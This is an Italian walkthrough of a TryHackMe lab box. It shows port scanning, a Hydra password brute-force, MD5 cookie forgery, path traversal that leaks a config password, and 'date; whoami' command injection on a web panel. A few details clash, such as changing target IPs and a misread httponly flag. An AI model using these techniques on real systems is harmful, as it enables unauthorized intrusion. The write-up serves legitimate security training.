

Support CTF

Link: <https://tryhackme.com/room/support>

IP: 10.130.131.79

Iniziamo sempre con l'enumerare i servizi presenti:

```
kali@kali:~$ sudo nmap -sS -sV -sC -p- 10.129.190.251
[sudo] password for kali:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-03 05:10
-0400
Nmap scan report for 10.129.190.251
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   256 3f:0f:6e:1b:3c:71:c4:45:ba:36:8a:54:af:e2:0a:7c (ECDSA)
|_ 256 e6:7d:26:08:1f:37:06:18:80:d6:72:62:a5:79:4e:ff (ED25519)
80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
|_ http-title: Support Operations Panel
|_ http-cookie-flags:
|   /:
|       PHPSESSID:
|_       httponly flag not set
|_ http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.88 seconds

kali@kali:~$
```

Dove possiamo determinare questi due servizi

Servizio	Porta	Versione	
SSH	22	OpenSSH9.6p1	
http	80	Apache httpd 2.4.58	PHPSESSID è httponly, può essere letto da javascript

Procediamo con l'enumerare i percorsi disponibili sul servizio http

```
kali@kali:~$ gobuster dir -u http://10.130.131.79/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x ".php,.txt,.bak"
```

```
Gobuster v3.8.2
```

```
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
```

```
[+] Url: http://10.130.131.79/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,txt,bak
[+] Timeout: 10s
```

```
Starting gobuster in directory enumeration mode
```

```
.hta.txt (Status: 403) [Size: 278]
.hta.php (Status: 403) [Size: 278]
.hta (Status: 403) [Size: 278]
.hta.bak (Status: 403) [Size: 278]
.htaccess (Status: 403) [Size: 278]
```

```

.htaccess.php      (Status: 403) [Size: 278]
.htaccess.txt      (Status: 403) [Size: 278]
.htaccess.bak      (Status: 403) [Size: 278]
.htpasswd           (Status: 403) [Size: 278]
.htpasswd.txt       (Status: 403) [Size: 278]
.htpasswd.bak       (Status: 403) [Size: 278]
.htpasswd.php       (Status: 403) [Size: 278]
api.php             (Status: 302) [Size: 0] [--> index.ph
p]
config.php          (Status: 200) [Size: 0]
dashboard.php       (Status: 302) [Size: 0] [--> index.ph
p]
footer.php          (Status: 200) [Size: 1253]
includes            (Status: 301) [Size: 317] [--> http://
10.130.131.79/includes/]
index.php            (Status: 200) [Size: 2591]
index.php            (Status: 200) [Size: 2591]
info.php            (Status: 200) [Size: 73307]
info.php            (Status: 200) [Size: 73308]
js                  (Status: 301) [Size: 311] [--> http://
10.130.131.79/js/]
layout              (Status: 301) [Size: 315] [--> http://
10.130.131.79/layout/]
logout.php          (Status: 302) [Size: 0] [--> index.ph
p]
server-status       (Status: 403) [Size: 278]
skins               (Status: 301) [Size: 314] [--> http://
10.130.131.79/skins/]
Progress: 19000 / 19000 (100.00%)

=====
=====
Finished
=====
=====

kali@kali:~$

```

Intanto prima di iniziare a esplorare provo a fare bruteforce sul login, infatti dalla schermata di login si vede il nome utente `help@support.thm`

```
kali@kali:~$ hydra -l 'help@support.thm' \
-P /usr/share/wordlists/rockyou.txt \
10.130.164.87 \
http-post-form \
"/:email=^USER^&password=^PASS^:F=Invalid" \
-V -f -I
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-03 06:02:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.130.164.87:80/:email=^USER^&password=^PASS^:F=Invalid
[ATTEMPT] target 10.130.164.87 - login "help@support.thm" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.130.164.87 - login "help@support.thm" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[...TRUNCATED ATTEMPT]
[ATTEMPT] target 10.130.164.87 - login "help@support.thm" - pass "arsenal" - 156 of 14344399 [child 4] (0/0)
[80][http-post-form] host: 10.130.164.87 login: help@support.thm password: snoopy
[STATUS] attack finished for 10.130.164.87 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-03 06:02:57
```

Abbiamo scoperto la password `snoopy` !

Appena entrati ci rechiamo nei cookie dove vediamo un campo `isITUser` con valore `68934a3e9455fa72420237eb05902327`, che se esaminato si tratta di hash md5, attraverso <https://crackstation.net/> troviamo che corrisponde a false, hashando in md5 `true` mettiamo `b326b5062b2f0e69046810717534cb09` entriamo nella pagina riservata agli IT user.

Dove seguendo le istruzioni possiamo eseguire `http://10.130.164.87/user/1`

Che restituisce

```
{
  "email": "specialadmin@support.thm",
  "2FA": false,
  "admin": true
}
```

mentre `/user/2` riporta

```
{
  "email": "IT@support.thm",
  "2FA": false,
  "admin": false
}
```

Facendo dei tentativi con LFI (Path Traversal) ho trovato un path traversal

`view-source:http://10.130.164.87/dashboard.php?skin=../config`

Otteniamo

```
<?php

$MASTER_PASSWORD = 'support@110';

$SITE_VER = '1.0';
$SITE_NAME = 'support_portal';
```

Loggandoci per qualche oscuro motivo dovevi arrivarci a caso che per loggarti dovevi togliere la @ otteniamo la flag

`THM{I_AM_ADMIN999}`

Ora che siamo dentro in basso a destra c'è un pulsante che se cliccato mostra la data o l'orario. guardando è tutto gestito dal frontend e il BE legge i comandi direttamente dal FE (MALE! si fida troppo del FRONTEND!)

```
<option value="date +%H:%M:%S">  
Time  
</option>
```

Se proviamo a modificare con

```
<option value="whoami">  
Time  
</option>
```

Otteniamo "Only date command is allowed."

Quindi c'è un minimo di controllo

Ma lo fregiamo senza troppi problemi...

```
<option value="date; whoami">  
Date  
</option>
```

Otteniamo

```
Thu Sep  3 10:55:08 UTC 2026  
www-data
```

Otteniamo

```
Thu Sep  3 10:55:08 UTC 2026  
cat /home/ubuntu/user.txt
```

E otteniamo la flag THM{I_AM_ADMIN001}